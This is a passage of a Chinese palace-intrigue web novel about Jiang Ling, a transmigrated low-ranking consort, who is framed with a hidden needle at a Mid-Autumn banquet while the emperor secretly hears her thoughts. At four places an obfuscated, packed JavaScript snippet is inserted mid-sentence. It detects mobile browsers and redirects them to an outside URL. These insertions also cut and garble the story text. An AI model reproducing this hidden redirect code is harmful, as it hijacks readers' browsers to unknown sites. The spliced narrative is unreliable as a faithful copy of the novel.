今朝是赵府高老夫人的寿辰,赵德妃与赵嫔是宫妃出不了宫,萧允珏要上学堂读书。萧珈棠虽年幼,公主身份尊贵,由她出宫去给外祖母贺寿。 赵嫔垂下眼睑,掩去了眸中的恨意。 萧允珏不过刚启蒙,功课哪有那般重要。不过是赵德妃生怕他有丁点闪失,借口读书不让他出宫。 以前,她是赵氏的嫡长女,母亲高老夫人对她寄予厚望,百般呵护。 赵氏是武官之家,大胤重文轻武。她进宫之后被封为婕妤,赵氏跟着水涨船高。 两个月后,恰逢她生辰,又身子抱恙,赵德妃随高老夫人进宫来看望她,遇到了元明帝。 三天后,赵德妃充进宫,深受宠爱。诞下萧允珏之后,被封为德妃。去世的赵父被追封,三个兄弟得恩荫出仕为官,赵氏一门在京城崛起。 赵嫔心里刺痛,拼命克制住了,轻抚着萧珈棠的脑袋,慈爱地道:“好,阿棠既然不喜欢,以后不再去便是。” 萧珈棠破涕为笑,扑进赵嫔怀里,撒娇道:“阿娘,我饿了。” “瞧你小脸都哭花了,且先去洗干净再用饭。”赵嫔牵起萧珈棠的小手到了正殿,谢嬷嬷已经吩咐宫女送了热水帕子备好。 宫女伺候着萧珈棠洗漱,赵嫔坐在一边吃茶。谢嬷嬷上前低声叫了声娘娘,赵嫔看了她一眼,不动声色放下茶盏,起身回到次间。 “何事?”赵嫔问道。 谢嬷嬷低低将撷芳阁的事说了,赵嫔听得频频冷笑,“呵,她一贯如此,自以为聪明,玩弄人于股掌之中。她那点小心机,谁看不出来。苏江两人苦于身份低微,不得看重,拿她没法子而已。” “娘娘,奴婢觉着,此事顶多是撷芳阁的苏才人江才人置闲气,拌几句嘴罢了。上下嘴皮还有碰着的时候,何况是住在同一屋檐下。哪个宫中不吵吵闹闹,只撷芳阁如今闹得,好似要福宁宫出来主持公道一般了。福宁宫那边,应当不会真正去管,两人也折腾不出花样来,吵几句也就过去了。” 谢嬷嬷斟觑着赵嫔的神色,斟酌着道:“娘娘,一荣俱荣,一损俱损呐!” 赵嫔抬眼盯着谢嬷嬷,将萧珈棠去赵府之事说了,她的神色平静,眸中却寒意森森。 “我自认为没亏待过她,反倒她自小嫉妒我,样样要与我争。我以前都让着她,让到如今,连阿棠也要让。我这个姐姐,这个嫔,就是个十足的笑话。” 谢嬷嬷自幼伺候赵嫔,对姐妹俩的情形一清二楚。当年赵嫔才京城才情过人,替赵氏脸上添了不少的光。高老夫人当然偏向赵嫔,对赵德妃难免忽略了些。 虽是如此,姐妹俩大体上还是相处和睦。赵嫔真正有心结的时候,是赵德妃借她生病时进宫,被元明帝宠幸,纳入了后宫。 赵嫔生了女儿,赵德妃诞下皇子,被封妃,姐姐从此要给妹妹行礼。 赵氏待赵嫔当然一如既往的恭敬,只与赵德妃不同,毕竟她份位高,所生是皇子。 元明帝膝下共有四个公主,三个皇子夭折了一个,尚未立储。 谢嬷嬷暗自叹息一声,她丈夫早逝,无儿无女,只一个侄儿还在赵氏。想了想,到底没再多劝。 “嬷嬷你多虑了,且放宽心,赵氏是我的娘家,我当盼着他们能好。” 赵嫔笑了声,安慰地拍了拍谢嬷嬷的手,惦记着萧珈棠,起身往外走去。 * 江舲送回墨菊后,整个人就像紧绷的弦。 阿箬芳荷靠不住,还要等着苏月的出招。孤身作战,江舲像是斗鸡般,连觉都少睡了,睁大眼睛防备着周围的一切。 桂花终于盛开,中秋来临。这些天虽太平无事,江舲的紧张未能散去,又添了一重焦虑。 中秋的宫宴在揽月殿举行,后宫一众嫔妃,皇子公主,以及元明帝一并到来。 江舲倒不怕见到元明帝,她品级低,又不受宠,只当做背景板出现便可。 只想到要面对如此多人,江舲就控制不住地感到窒息。她很想告病不出席,又忍不住想,若是告病的话,反倒会更显眼,最后弄巧成拙。 思前想后,江舲装扮一番,脸又如刷墙般,刷了一层厚粉,前往揽月殿。 天气凉爽下来,不再汗如雨下,脸上的妆容得以保持。江舲觉着身上戴了一层盔甲,总算稍许松弛了几分。 出了撷芳阁,苏月正好走在前面。她身着崭新的酡颜色宫装,发髻上的金累丝步摇随着走动晃悠,金光闪闪。 揽月殿与中宫坤宁宫相邻,原本是皇后接见宴请命妇之地。撷芳阁偏僻,一路上,遇到其他宫女子三三两两结伴而来,苏月与她们见礼,亲热地打着招呼。 江舲默默走在后面,她不认识人,只暗搓搓盯着苏月。她们品级一样,苏月要恭敬见礼的高位嫔妃,她跟着屈膝。其他品级低的嫔妃朝她见礼,她便颔首还礼。 进了揽月殿,尙仪局的陈尙宫,领着掌庆贺筵席司宾司的女官宫女们,侍奉着大家按照品级依次落座。 轩敞的大殿内,左右两旁一字排开,摆放着矮几。江舲的座位比较靠近大殿门,苏月排在了她前一个位置。 换做平时,江舲压根主意不到这些,哪怕主意到,她也不会放在心上。 最上首高两阶的台上,是元明帝的御座。林贵妃在阶下左侧,有一个单独的座次。依次下来,则是赵德妃柳贤妃,大皇子萧允瑞,二皇子萧允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939478|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珏。公主们一样,按照年纪大小依次排座。 越靠近大殿门,离位高权重的大人物们越远,江舲才会自在些。 如今,因为她与苏月等于翻了脸,对座次格外敏感。 因为在明面上,她比苏月先封才人,位置该排在前面才是。 后宫中聪明人多,好些人看出了端倪。相熟的人窃窃私语小声议论,不时朝苏月江舲打探,神色探究,一脸看好戏的表情。 苏月似乎浑然不觉,不经意转头朝江舲看来,目光阴测测,又得意,嘴角轻蔑下撇。 坐在江舲下首的许贵人眼里冒出兴味的光芒,佯装惊讶道:“江才人怎地与我坐在一处?” 江舲心里骂着关你屁事,木着脸正襟危坐,只当什么都没听见。 许贵人碰了一鼻子灰,鼻子喷出一声冷哼,转过头去与左侧的同伴嘀咕,不时看向江舲,窃笑不停。 一个位置的安排,就会让人颜面尽失,江舲业已成为众人眼中的笑话。面子对她来说不重要,重要的是个人安危,以及可能被人看菜下碟,克扣的待遇。 她哪顾得上许贵人的嘲讽,脑中拼命分析着各种可能。 尚仪局出错几率微乎其微,一来要是安排错座次,就是她们当差不力,按照规矩要被责罚。二来她们犯不着为难江舲,除非有人指使。 宫宴是林贵妃赵德妃柳贤妃一起操持,由谁负责安排座次,或者是她们三人一起决定,江舲皆无从得知。 眼下,与苏月江舲有关之人,只有赵德妃,十有八九是她。 可是,赵德妃先前明明与她言笑晏晏,还送了她茶叶。后来赵德妃那边也没甚消息,她的吃食等都照样,未被克扣变得更差。 后宫中的关系千丝万缕,盘根错节,林贵妃与赵德妃都有皇子,两人不和。柳贤妃诞下三皇子,一岁出头夭折。元明帝为了安慰她,由她扶养去世韩惠妃所生的长公主。 江舲很想哭,果真在宫斗中,筵席以及人多的场合,绝对会出事! 她这个背景板的小才人,在原书中一笔带过。现在她穿了过来,她有完整的人生,世界。 她的人生,世界,究竟是何种结局? 在江舲的焦灼煎熬中,林贵妃赵德妃柳贤妃各自带着皇子公主到来,元明帝随后也来了。 大殿内中瞬间安静,众人起身见礼,江舲神思恍惚,随意瞄了眼跟前走过的元明帝。 在原书中,对元明帝的描述是高大英伟神武,帝王贵气。 江舲认为,元明帝因为有皇帝身份加持,帝王贵气占了五分。他养尊处优,后宫嫔妃又多。身量称得上高挑,只脸白得跟纸一样,明显是肩不能挑手不能提的弱鸡,跟神武毫无关系。 再一看殿内美得千姿百态的宫女子们,江舲心中只有一句话:“好多的美人儿,真是鲜花插在了牛粪上!” 元明帝震惊不已,脚步微顿,难以置信缓缓转头四望。 该死! 究竟谁这般大胆妄为! 9. 第九章 元明帝看了一圈,殿内众人都在见礼,任何人都看不出异样。 身为大胤天子,天下无人胆敢在他面前大放厥词。元明帝以为是自己神思恍惚,轻呵一声,抬腿继续往前走去,在上首坐下。 筵席正式开始,尙食局丁尙宫领着司膳司的宫女内侍送来酒水,中秋节庆必不可少的月饼,各式新鲜果子,螃蟹等,矮案上摆得满满当当。 元明帝举起酒盏,说了几句吉祥话,众人起身举杯共饮,接下来便自行吃喝。 尙仪局司乐司的乐师抱着琴铮,舞伎们袅娜进殿。琴铮和鸣,舞伎们随之翩翩起舞。 对着美酒美食,江舲无心吃喝,一直盯着呈膳的宫女内侍。她发现除去元明帝,年纪尚幼的皇子公主外,嫔妃的菜式皆一样。 座次是由尙仪局负责,膳食则是由尙食局掌管。江舲偷瞄到苏月与许贵人面前矮案上的菜式,与她的一模一样。 如此看来,尙仪与尙食,背后由不同的人把控。 反正弄不清楚究竟谁是谁的人,对着难得吃到的螃蟹,江舲选了只母蟹掰开。中秋时节的蟹尚未长成,蟹黄不够饱满,一蟹壳的清汤寡水。 许贵人看向江舲,听起来像是在说笑,却目露讥讽。身子偏向一边躲避,拉着裙摆,小心地躲避。 “哎呀,江才人真是,螃蟹的汁水溅得到处都是。螃蟹腥气重,不易清洗,仔细弄脏了衫裙。” 江舲是吃蟹高手,就是徒手掰蟹,吃完蟹黄蟹肉后,还能拼出完整的蟹壳。 且她自己的手指干干净净,两人中间还隔了能容人通过的距离,许贵人这是在借机生事了。 殿内丝弦琴声悠扬,舞娘们羽衣霓裳翩飞。元明帝眼睛微眯,一手撑着额头,一手和着节拍,沉醉在歌舞中。 赵德妃巧笑嫣兮在与李婕妤说着话,林贵妃正襟危坐,萧允瑞与她一样,挺直脊背坐得笔直。萧允珏拿着月饼,吃得一嘴角的渣,乳母与宫女半跪在一旁,不时擦拭伺候。其他人要么欣赏歌舞,要么凑在一起行酒令。 许贵人的话,并未引起任何的波澜。惟有坐在右侧的苏月,转头朝江舲看来,一脸的鄙夷。 江舲秉着息事宁人的原则,还是赔了不是,将矮案上的布巾递过去,“你拿着擦一擦吧。” 许贵人的脸,不知为何,正好凑到江舲手前面。她身子后仰,伸手一把夺过帕子。 蓦地,许贵人尖叫起来,甩掉帕子抬起手指,指尖赫然冒出了血珠。 “苏才人,你.....你......”许贵人眼泪滑落脸庞,害怕地往后退。 矮案上的碗碟被撞落在地,“砰”地清脆一声,引来周围的注目。 伺候的宫女急着上前,道:“许贵人这是怎地了,哎呀,贵人手指受伤流血了!”她不敢做主,连忙前去找陈尚宫。 动静传到元明帝耳内,他睁开眼,抬起手示意停止奏乐,舞娘们赶忙施礼退到一旁。 “发生了何事?”元明帝声音沉沉道。 陈尚宫低声在林贵妃她们面前回话,听到元明帝的质问,林贵妃起身屈了屈膝,道:“回皇上,许贵人伤到了手指,臣妾前去瞧一瞧。” 林贵妃并赵德妃柳贤妃一并走了过来,陈尚宫低声吩咐宫女,让不相干的人都退避一旁,不许靠近。 苏月不知何时走到许贵人身边,关心地道:“许妹妹,你别动,先止血要紧。” “这是怎地了?”林贵妃不苟言笑,眼神在几人身上扫过,声音中带着莫名的威严。 “娘娘。”许贵人人忙见礼,似乎在隐忍痛苦,咬了咬唇,哽咽着道:“先前江才人在吃螃蟹,汁水不小心溅到了我身上。我便玩笑着说了句,提醒江才人别弄脏了衫裙。都怪我嘴快,估计江才人以为我是在嘲笑她,她拿着帕子一下塞到我面前,说是要替我擦拭污渍。我得罪了人,又是小事,便避开了,拿着帕子要还给苏才人。谁知......” 她抽噎了下,眸中露出惊恐,“帕子中藏着根针!要是我不曾避开,伤到的便是脸了!” 赵德妃脸上带着笑,不动声色打量着许贵人,目光不经意在苏月身上掠过,问道:“竟然有这等事发生,在光天化日之下,当着皇上,众人的面行凶? 柳贤妃立在那里不做声,林贵妃眉头一皱,看了江舲一眼,问道:“针呢?” 苏月忙双手奉上包裹在帕子中的针,道:“我先前捡了起来,贵妃娘娘请过目。” 放在白绢帕子中的针,针尖上尙留有血迹。 林贵妃神色一凛,抬眼看向江舲,问道:“江才人,你可有话说?” 变故发生太快,江舲此时仍懵在那里,脑中嗡嗡响,心跳得飞快。 摊上事,又在众人面前被林贵妃逼问,江舲紧张到眼前发黑,拼命克制住,才没晕过去。 “娘娘,我没有,我不会用针,见都未见过针.....我真没有要伤她的脸,她长得又没我好看......” 江舲脑子乱七八糟,话也说得乱七八糟,她都不知自己在说什么,嘴根本不受脑子控制。 许贵人银牙暗咬,强自忍住了,啜泣着委委屈屈道:“我是生得不好看,江才人,你又何苦针对我,将气洒在我身上,我何处得罪了你......” “是奴婢不好。”陈尚宫走上前,道:“奴婢可能有些疏忽,先前底下的人安排江才人苏才人落座时,苏才人排在了江才人上首。” 说罢,她朝江舲深深屈膝到底,谦卑地道:“奴婢得罪怠慢了江才人,请江才人责罚。” “你的错处先放一边。” 林贵妃让陈尚宫退下,对江舲厉声道:“当差的人都在忙,只一个前后而已,座次不对,指出来就是,值得要毁了人的面容。” 江舲脑中一片空白,明明比窦娥还要冤枉,辩解的话,反倒成了不满讽刺。明显一副做坏事被抓住,情急之下食言。 赵德妃脸上盈满笑,道:“贵妃娘娘,许贵人万幸没受伤,只手指戳破了皮。眼下大过节的,皇上还在呢。待筵席之后再查个清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939479|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是,贵妃娘娘觉着可好?” 林贵妃沉吟了下,正要点头,元明帝走了过来。他恼怒不已,喜庆祥和的中秋,居然有人敢生事! 元明帝一甩衣袖,厉声道:“真真是大胆!且给朕查清楚,朕定不会轻饶!” 赵德妃不再说话,林贵妃便屈膝应是,向苏月,伺候的宫女一一询问,用以作证。 苏月道:“我是看到江才人在掰螃蟹,许贵人与她说了什么,我倒不曾听清。然后江才人递了帕子给许贵人,许贵人就叫喊了起来,手指出了血。” 江舲面前的矮桌上,尚放着掰开的螃蟹。许贵人藕荷色的宫装上,留有点点印迹。 伺候的宫女道:“奴婢听到许贵人笑着与江才人说起螃蟹汁溅到了衫裙上,不易清洗。江才人拿了帕子送到许贵人面前,许贵人身子后仰,把江才人递来的帕子接了过去,然后许贵人手指就出了血。” 江舲面若死灰,她就是长十张百张嘴,也辩解不请了。 首先,她的座次被安排错,但陈尙宫并未辩解推脱,主动站出来承认,还诚恳地赔了不是。 但陈尚宫的错处,几乎可以忽略不计。因为她与苏月,不过是先后差两三个月晋封而已。苏月上个月才被元明帝翻牌子,旧情余温尙存,比起早就在冷宫的江舲重要。 座次出错,是埋给江舲心生不满的引子,缘由。 按照林贵妃的话来说,座次前后,不过小事而已。江舲不当面提出来,却怀恨在心,对无辜的许贵人下毒手。 苏月与宫女都没指正江舲,只是在陈述所见之事。加上摆开的螃蟹,许贵人手指上的伤,带血的针,事实再也清楚不过。 江舲只与苏月有旧怨,此事即便不是她指使,也与她有关。江舲却无法提前面发生如墨菊,起争执之事。 究竟孰是孰非难以说清,只能证明她与苏月有旧怨。 因座次先后,新仇加旧怨,她将怒意,发泄到了不相干之人身上。 江舲是在中秋宫宴上,公然行凶的疯子! 中秋宫宴上有元明帝,皇子,公主,一众的嫔妃。 要是江舲伤到了元明帝,那还得了! 江舲见死定了,绷紧得快断开的神经,反倒松弛了下来。 这般大手笔来针对她,还真是她的荣幸! 不过,江舲不明白的是,她区区小才人,除掉她有何用? 许贵人为何要陷害她? 死到临头,江舲都没弄明白,苏月背后的靠山,究竟是林贵妃还是赵德妃,柳贤妃! 江舲心头狂叫嚣吐槽:“我既不受宠,更不会与你们抢牛粪,你们何苦啊!快想办法,快想办法,能不能向牛粪求救......” 元明帝听到熟悉的“牛粪”,顿时大怒。照着话中的意思,他马上判定是出自江舲之口。 待杀气腾腾看去,准备下令将她拿下时,元明帝怔在了那里。 周围的人浑然不觉,江舲苍白着脸,眼神空洞跟傻子般杵着,明明一声未坑! 10. 第十章 元明帝时而惶恐,怀疑自己可是神志不清。 时而惊喜,惟有天子尊贵,能听到他人心声。 时而恼怒,既然拥有这等本事,却并非对臣子,而是后宫一个他都快认不出的妃子。 时而震怒,大胆包天的小才人,居然敢在心中将他称作“牛粪”! 林贵妃发现元明帝神情有些怪异,掩饰住心里的狐疑,恭敬地道:“皇上,事情已经询问清楚,请皇上定夺。” 元明帝这才回过神,见许贵人红着眼望着他,眸中噙着眼泪,手指尖的血痕清晰可见,我见犹怜。 他下意识看向江舲,她脸上的脂粉晕开,跟唱滑稽戏一样的五花脸,狼狈又邋遢。事到临头,她倒是不见眼泪,紧抿着唇,眉头紧蹙,眼珠灵活转动。 “糟糕!她们害人的缘由已经不重要了,重要的是,要怎么洗刷罪名。能求助牛粪吗?” 元明帝脸色瞬间黑沉如锅底,恨不得直接掐死她! “与牛粪不熟,求他也没用。牛粪一看就稀里糊涂,葫芦僧判葫芦案.......不如干脆把罪名坐实了,直接扎死她丫的,我就是容嬷嬷,我扎,扎扎扎!” 听她的意思,她还真是被诬陷冤枉了。也是,瞧她那呆傻样,死到临头,还想东想西,跟麻雀般聒噪! 元明帝头疼起来,大好的日子,有人在他面前耍花招,孰可忍孰不可忍! 算了,待日后再掐死她! “你有何话说?”元明帝盯着江舲,沉声问道。 江舲怔了下,性命攸关,豁出去指着许贵人与苏月道:“是她们害臣妾!” 虽没有证据,江舲凭着本能指控两人:“苏才人先前就准备害臣妾,她收买臣妾身边的宫女,还污蔑臣妾喜欢墨菊,将墨菊摘下来送给臣妾。臣妾与许贵人并不熟悉,无冤无仇,许贵人肯定被苏才人收买了,两人一唱一和,设计来陷害臣妾。” 元明帝听得愈发头疼,她着实太蠢,给了她机会,她却跟那御史一般,只管着弹劾。 就算贵为皇帝,也要查明真相后,才能下旨降罪。 如今她只管着告状,难道要他在众目睽睽之下,无视宫女的证言,带血的针,直接偏袒她不成! 许贵人脸色微变,嘤嘤哭起来,“皇上,臣妾冤枉啊!” 苏月抿了抿唇,眼里蓄满泪,楚楚可怜道:“皇上,臣妾与江才人确实争执过几句,都是臣妾不好,冒犯了江才人。” 她缓缓跪下来,双手伏地,恭恭敬敬磕头下去:“臣妾不该与江才人争执,生出口舌是非,臣妾请皇上责罚。” 江舲呆在那里,争执是两人之间的事,苏月既然认罪,她岂不是也有罪,要跟着下跪磕头? 元明帝瞥了直愣愣戳在那里的江舲,实在看不下去,转开头,对林贵妃道:“此事甚是恶劣,定要查个水落石出。你们且别管了,交由宫正司去查。” 按理说,这件事应该交由掌管宫务的嫔妃,如林贵妃她们三人去处理。宫正司虽在元明帝手上,他从未直接下令宫正司处理后宫之事。 元明帝突然的改变,林贵妃不禁神色微凛,赵德妃亦皱起眉头。柳贤妃意外至极,神情若有所思。 苏月脸色霎时白了,许贵人也一时忘了哭,呆在了那里。 “都散了吧。” 好好的筵席,闹出这等糟心事,元明帝无心多留,抬腿往殿外走去。 宫正司是江舲唯一的希望,她暗暗四下祭拜:“求佛主保佑,我能平安无事。牛粪要聪明点啊,别冤枉了我这个老实人。” 元明帝身形微晃,他猛吸一口气,稳住神,心道:“待查明之后,再让她好看!” 筵席散了,有些人不知发生了何事,小声打听起来,一时间,殿内窃窃私语不断。 林贵妃见状,扬声道:“今日之事,私下议论乱传话者,一并交由宫正司处置!” 听到宫正司的名头,林贵妃又严厉。众人不敢再说话,低头恭送林贵妃他们离开。 江舲茫然站在那里,不知该等宫正司的人来,还是先回撷芳阁。 苏月冷冰冰剜了她一眼,转身出了大殿。许贵人更是抢先一步,走在了她前面,追上苏月,两人低声说起了话。 江舲见状,忙也回撷芳阁。她见苏月与许贵人走在一起,心道她们要串供,暗搓搓追上去想要偷听。 苏月与许贵人见她过来,两人话一停,眼神怨毒地在她身上来回扫视,只恨不得要将她撕了一般。 江舲很想问苏月与许贵人一声,她们的怨恨,究竟从何而来。转念一想,她又感到没意思,便打消了念头。 事已至此,她们之间已经是不死不休的地步。就算是误会,也已无法回头。 苏月许贵人加快了脚步,转过夹道,不知去了何处。江舲意兴阑珊,耷拉着脑袋往前走着,看到前面赵德妃领着萧允珏往御花园的方向走去,回撷芳阁有两条路,这条路最近。现在她谁都不信,也不想再招惹谁,便打算往南边绕回去。 谁知,赵德妃停下脚步,站在那里朝她看了过来。江舲见状,只能硬着头皮上前。 赵德妃让乳母带着萧允珏去御花园,她笑着道:“御花园的菊花开得正盛,平时你难得出来,待错过这次的花开,得要明年了,不如一道去瞧瞧。” 不待江舲拒绝,赵德妃抬腿继续向前走,黄嬷嬷香梨她们几人,不动声色将缀在她身后的阿箬芳荷隔开了。 赵德妃缓缓迈着步子,侧首看向她:“你身边伺候的宫女,好似不大得力。” 江舲茫然了下,这时才想起来,两人本该在她身边伺候。被许贵人她们诬陷时,两人不知躲在了何方,不见她们出来给她作证。 赵德妃道:“筵席上换座次时,你若是说一声,我就能帮你一帮,让你坐回该坐的位置上。哎,都怪我,阿珏淘气,我要看着他,一时疏忽了些,让江才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江舲以为黄梁被元明帝派去宫正司办差,心顿时提到嗓子眼。她僵硬地点点头,连收拾都忘了,拖着沉重的步伐跟着黄梁前往宫正司。 到了一间宫殿前,江舲看到宿卫,恍惚了下,仰头看去。垂着的匾额上,龙飞凤舞刻着垂拱殿三个大字。 垂拱殿是几间殿宇组成的宫殿群,前殿是元明帝当朝理之处,后殿是御书房,寝宫与之相连。 江舲以为元明帝要在御书房亲自问话,想着即将到来的三堂会审,晕晕乎乎随着黄梁从夹道穿过,进了一间种着奇珍异草的院落。 院中灯火氤氲,整面的明窗,透出明亮的光。 立在门前的内侍,见到黄梁到来,有人进屋回禀,有人上前撩起青色细缎门帘。 黄梁立在门边,道:“江才人请进去吧。” 江舲恍惚地哦了声,她暗暗吸气,给自己鼓劲,垂首进了屋。 元明帝身着常服,斜斜依靠在中央的矮榻上,目光灼灼朝她看来。 这时,江舲后知后觉发现,屋内只得元明帝一人。 她来到的地方,是元明帝的寝宫! 11. 第十一章 元明帝回到垂拱殿之后,本想歇息一阵,闭上眼,脑中全是江舲的声音。 宫正司宋宫正奉旨查了一通,前来向他回话。他心中烦躁,正欲打断时,宋宫正提到了江舲,方按耐住听了下去。 待宋宫正告退,元明帝便迫不及待差黄粱传江舲前来觐见。他坐在榻上,一瞬不瞬盯着随黄粱走进来的人,情不自禁伸长了耳朵,等着她的“心声”。 可惜,元明帝什么都没听到。他一时有些失望,怀疑自己先前所听到她所言之语,都是他的凭空想象。 江舲上前请安,元明帝手抬了抬,示意她坐。半晌后,见她低头杵在那里,不禁哑然失笑。 真是傻! 只笑容迅速僵在了脸上,他再次听到江舲在说:“牛粪这么久都不说话,擅自站起来算不算藐视皇威?糟了糟了,一见面牛粪就给人来个下马威,肯定没好事。就说牛粪糊涂,他查得出个屁啊!” 元明帝脸色难看至极,江舲嘴未动,一脸紧张呆怔。再朝奉茶的黄粱看去,他低眉敛目,并无察觉到任何的异样。 “起吧!”元明帝几乎咬牙切齿喊道,惊得向来四平八稳的黄粱手一抖,差点将茶水洒出来。 黄粱放下茶盏,慌忙要谢罪,元明帝挥手将他斥退,再指着锦凳,恐江舲不懂察言观色,出声提醒她道:“坐!” 江舲僵硬地坐下,屏声静气等着元明帝宣布结果。 “要是结果不好,是禁足还是打进冷宫?禁足无所谓,反正也出不了门。冷宫,撷芳阁本来就是冷宫。会降级吗?五品小才人已经是最低品级,再将就是无品级的庶妃,虚名倒是其次,最主要是待遇不好。吃穿已经那么烂,再降的话就不活了!” 元明帝脑子嗡嗡嗡,像是有一千只苍蝇在绕着飞,烦得他想将她拖出去打板子! “宫正司已经查过。”元明帝忍无可忍开口,江舲霎时抬眼看来,他耳边的嗡嗡声消失。 “你与苏氏起了争执,各执一言。苏氏称待你一片赤诚,你却不领情,认为苏氏再害你。” 江舲听得想翻白眼,苏月最擅长演戏,说起话来滴水不漏,很容易蛊惑人心。在这方面,江舲绝不敢与她相比。 “苏氏称你当众羞辱她,你在揽月殿时,曾直言许氏生得丑。” 说到这里,元明帝不由得打量着江舲,眼前的她洗净铅华,雪白的面孔艳如桃李。 虽然木着一张脸,看上去拘谨柔顺。元明帝能听到她的心声,她非但与柔顺沾不上边,反而粗俗聒噪,胆大包天。 “皇上明鉴,臣妾不善言辞,当时许贵人污蔑臣妾,臣妾就是话赶话,被逼急了替自己辩解。” 赵德妃对她所说的话,江舲后来反复琢磨过。陈尚宫应当是林贵妃或柳贤妃之人,赵德妃绝非是好心提点,是要借她的手,打击异己。 苏月与许贵人都让她招架不住,再树敌的话,就算过了这一关,下一关会更难过。 生死攸关,江舲掩去了座次不提,凭着本能替自己辩解。 无论证人证言证物,形势皆对她不利,她只能坚持道:“苏才人想要搬到撷芳阁正屋,臣妾让给她就是,臣妾从不与人为敌,老实巴交。是苏才人与许贵人坑壑一气害人,睁着眼睛说瞎话,她们是在欺君!” 元明帝听得发笑,他相信江舲清白无辜,但她才真真是睁着眼睛说瞎话第一人! 想到她在自己面前无所遁形,掌控一切的滋味,让元明帝不由得窃喜,姑且原谅了她的大逆不道。 “唔。”元明帝垂下眼眸,不置可否道:“宫正司还在继续查,孰是孰非,终会查得一清二楚。惹是生非之人,朕定不会放过。” 江舲心中呵呵,嘴里恭敬应是。 元明帝暼了她一眼,叫了黄粱进来:“传膳吧。” 江舲见状,起身屈膝:“臣妾告退。” 元明帝被噎了下,对她的迟钝无语至极,干脆直接道:“正值中秋团圆时,你且留下来一道用膳。” 江舲听阿箬芳荷提过,今年春耕时节,多州府遭遇旱灾,粮食欠收。中秋夜天子与后妃,臣子泛舟赏月的庆贺皆从简。 只是江舲有些懵,不明白元明帝的中秋团圆,与她有何干系。 中午筵席上,江舲只吃了几样果子,早就饿得前胸贴后肚。虽是如此,在寝宫被留下来用饭,还是让她焦躁得快发狂。 元明帝虽未听到江舲内心的话,端瞧她的反应,也能猜出她的心思。 “怎地,你还不愿意?”元明帝恼了,区区小才人,竟然敢嫌弃起他来! “臣妾不敢。”江舲忙告罪,拘谨地坐了下来。 “哼!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15939481|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元明帝冷哼一声,本想发火,又禁不住好奇,仔细听着她的真实想法。 “御膳吃什么,要是不好吃,真是亏大了。好吃也亏啊,大过节的都不安生,没法活了!”江舲不断哀嚎。 元明帝气得错牙,不明白她为何会觉着亏了? “这下要成为众矢之的了.......咦,有葡萄酒,葡萄美酒夜光杯,下一句是什么,摇晃的红酒杯......” 元明帝朝送膳进来的内侍宫女看去,他们手中托着琉璃杯,葡萄酒,无语凝噎。 她这脑子,真是乱七八糟,转换快得让人不措手不及。 御膳是分食,元明帝与她两人面前各自摆着食案,江舲勉强松弛了些。 分食亦有缺点,在皇帝面前用膳,规矩礼仪繁琐。她的那份饭食若是吃得一干二净,空着的碗盘很是显眼,暴露了她能吃能喝,唯一的真本事。 待元明帝动筷后,江舲迫不及待尝了一口葡萄酒。顿时,她五官紧皱成一团。 酒又酸又涩,江舲差点没吐出来,赶紧放下了琉璃杯。 案几上除去酒,还有江舲从不吃的月饼,吃腻的羊肉。所幸尙有几道菜很合她的胃口,她吃得一干二净。 元明帝握着酒盏,将江舲的动作悉数瞧在眼内。此时,他深信不疑,苏月称她看不上贡品葡萄,所言非虚。 饭毕,元明帝习惯散步消食。他负手在后,斜了江舲一眼,道:“外面月色正好,你且随朕去走一走。” 江舲默默起身出门,秋夜凉风习习,月辉洒在庭院中,伴着灯盏,如梦如幻。 “消消消,代表月亮消灭你!” 元明帝脚步一顿,微微闭了闭眼,继续往前走。 “对不住啊,明月,让你看笑话了。你看世间凡人多可笑,一天天的,还消食,老子都没吃饱,消个屁啊!” 元明帝再也忍不住,暗骂好个饭囊! 她先前吃下整整一条鱼,一碟鲜藕,一碗酸汤鸭,一碟糟鹅信,一碗梗米饭,竟然不曾吃饱! 着实受不了她的废话连篇,元明帝停下脚步,不悦道:“退下吧!” 江舲顿时大松口气,赶紧见礼告退。 元明帝盯着她逃也似的身影,面沉似水,眸中渐渐浮起疑惑,唤来黄粱吩咐道:“去仔细查江氏的底细!” 12.第十二章 中秋夜无人入眠。 江舲离开垂拱殿,月色下的后宫,如水滴入平静的湖面,漾起涟漪阵阵。 